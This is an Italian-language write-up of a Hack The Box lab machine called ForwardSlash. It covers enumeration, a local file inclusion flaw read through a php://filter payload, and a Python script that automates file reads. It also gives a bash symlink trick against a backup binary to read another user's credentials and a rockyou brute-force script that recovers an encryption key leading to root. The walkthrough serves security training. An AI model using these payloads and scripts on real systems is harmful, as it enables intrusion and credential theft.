NMAP
Come al solito avvio la scansione delle porte con nmap:
Dalla scansione risultano aperte esclusivamente le porte 80 e 22. Faccio un giro sulla porta 80, ah, il sito è raggiungibile dopo aver aggiunto forwardslash.htb in /etc/hosts
10.10.10.183 forwardslash.htb
A quanto pare il sito ha subito un attacco:
Decido di enumerare un po’ i file e le directory con gobuster, trovo un file che si chiama note.txt:
La nota è lasciata da un utente che si chiama chiv e quanto pare esiste un backup del sito da qualche parte. Continuo a enumerare con gobuster ma non c’è segno della presenza di questo backup. Provo ad aggiungere un sottodominio al mio file /etc/hosts:
10.10.10.183 backup.forwardslash.htb
Funziona, vedo un pannello di login:
LFI
Creo un account con delle credenziali a piacimento ed accedo. Dando un’occhiata all’applicazione c’è una funzione di cambio immagine del profilo che come input vuole un url:
Il form è disabilitato ma si può abilitare semplicemente modificando il codice della pagina con l’inspector di firefox:
Facendo un po’ di tentativi è chiaro che il cambio di immagine del profilo è vulnerabile a LFI e RFI.
Avvio gobuster sul dominio backup per vedere se il sito corrente ha qualche file interessante, trovo i seguenti file:
Faccio vari tentativi di lettura del file config.php, riesco a leggerlo col seguente payload:
php://filter/convert.base64-encode/resurce=config.php
In questo modo il contenuto del file è convertito in base64 e non è elaborato come codice php dal server nel momento in cui cerco di leggerlo sfruttando la LFI.
Converto la string in plaintext ed ottengo il codice php:
Riesco a leggere la password di connessione al database che però risulta essere inutile.
Gobuster mostrava una cartella dev, decido di provare a leggere il file index al suo interno, se c’è. Nel frattempo mi sono creato uno script in python per agevolare questo processo:
#!/usr/bin/python3
import requests
import sys
import json
import base64
# forwardslash LFI Script by TheJ0k3r
url = 'http://backup.forwardslash.htb/profilepicture.php'
f = sys.argv[1]
headers = '{"Cookie":"PHPSESSID=mfj6mhco1p2gq9rvbhutnk9k8g", "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Content-Type":"application/x-www-form-urlencoded", "User-Agent":"fava"}'
php = "php://filter/convert.base64-encode/resource=" + f
payload = '{"url":"' + php +'"}'
res = requests.post(url, data=json.loads(payload), headers=json.loads(headers))
html = res.text
b64 = html.split('</html>')[1]
text = base64.b64decode(b64)
print('')
print('[+] Content of the file' + f + ':')
print('')
print(text.decode('utf-8'))
All’interno del file dev/index.php sono presenti delle credenziali ftp dell’utente chiv. Provo ad usarle su ssh:
LATERAL MOVEMENT
Riesco ad accedere ma non è presente la flag user. La box ha anche l’utente pain, decido di enumerare tutto ciò che appartiene a questo utente. All’interno della cartella /var/backups trovo un file config.php.bak che appartiene proprio a pain:
Con l’utenza di chiv non ho i permessi per leggere quel file, continuo a enumerare.
All’interno di /usr/bin trovo un binario chiamato backup che appartiene sempre a pain, decido di approfondire e provo a lanciarlo:
Cerco di capire come funziona il file, sembra che stia cercando il file 36229a[…] ma che non riesca a trovarlo. Dopo alcuni tentativi mi rendo conto che il nome del file non è altro che l’orario visualizzato convertito in md5. Analizzo il file con ltrace:
Qui arriva la parte CTF della box. Ho fatto numerosi tentativi finché non sono riuscito a capire che creando un symlink con nome md5 dell’ora corrente al file config.php.bak trovato in precedenza riesco a leggere il contenuto del file:
#!/bin/bash
TEMPO=$(date +"%H:%M:%S")
echo "$TEMPO"
MD5=$(echo -n "$TEMPO" | md5sum)
fava=$(echo "$MD5" |cut -d" " -f1)
ln -s /var/backups/config.php.bak "$fava"
/usr/bin/backup
Dal momento che backup è eseguito nel contesto di pain, è importante lanciare lo script bash da una posizione accessibile da pain, altrimenti il collegamento creato non potrà essere letto da backup.
PRIVILEGE ESCALATION
Nel file sono presenti le credenziali di pain per connettersi al database, provo ad usarle con ssh.
Con l’utente pain la prima cosa che faccio è sudo -l, che mi restituisce:
Sono presenti alcuni comandi che permettono di montare un backup. Faccio mente locale e ricordo di aver notato una cartella sospetta all’interno di /var/backups:
All’interno della cartella recovery è presente un backup cifrato.
Dentro alla home di pain c’è un messaggio cifrato con uno script in python in cui è stata eliminata la chiave di cifratura per poterlo decifrare. A questo punto, magari serve a qualcosa, ho cercato di rimandarlo fino ad ora xD.
Utilizzando rockyou.txt e il seguente script python è possibile risalire alla chiave originale:
#!/usr/bin/python2
from functools import partial
import multiprocessing
from tqdm import tqdm
def decrypt(msg, key):
key = list(key)
msg = list(msg)
for char_key in reversed(key):
for i in reversed(range(len(msg))):
if i == 0:
tmp = ord(msg[i]) - (ord(char_key) + ord(msg[-1]))
else:
tmp = ord(msg[i]) - (ord(char_key) + ord(msg[i-1]))
while tmp < 0:
tmp += 256
msg[i] = chr(tmp)
return (''.join(msg), ''.join(key))
with open("./ciphertext", "rb") as f:
ciphertext = f.read()
with open("/usr/local/share/wordlists/rockyou.txt") as f:
passwords = [ p.rstrip() for p in f.readlines() ]
pbar = tqdm(total=len(passwords))
with open("passwords.txt", "w") as f:
pool = multiprocessing.Pool(64)
func = partial(decrypt, ciphertext)
for result in pool.imap(func, passwords):
pbar.update(1)
if "you liked my new encryption tool, pretty secure huh, anyway here is the key to the encrypted image from /var/backups/recovery:" in result[0]:
f.write(result[1] + "\n")
Ringrazio @davidlightman1983 per avermi fornito lo script con il riferimento alla stringa ed avermi così evitato di perdere tempi a scorrere milioni di print sul terminale (nonsense :/).
Il messaggio decifrato è il seguente:
you liked my new encryption tool, pretty secure huh, anyway here is the key to the encrypted image from /var/backups/recovery: cB!6%sdH8Lj^@Y*$C2cf
A questo punto non resta che decifrare il backup precedente:
Monto il backup e guardo cosa c’è al suo interno:
Con la chiave appena trovata mi connetto a ssh, presumibilmente come root: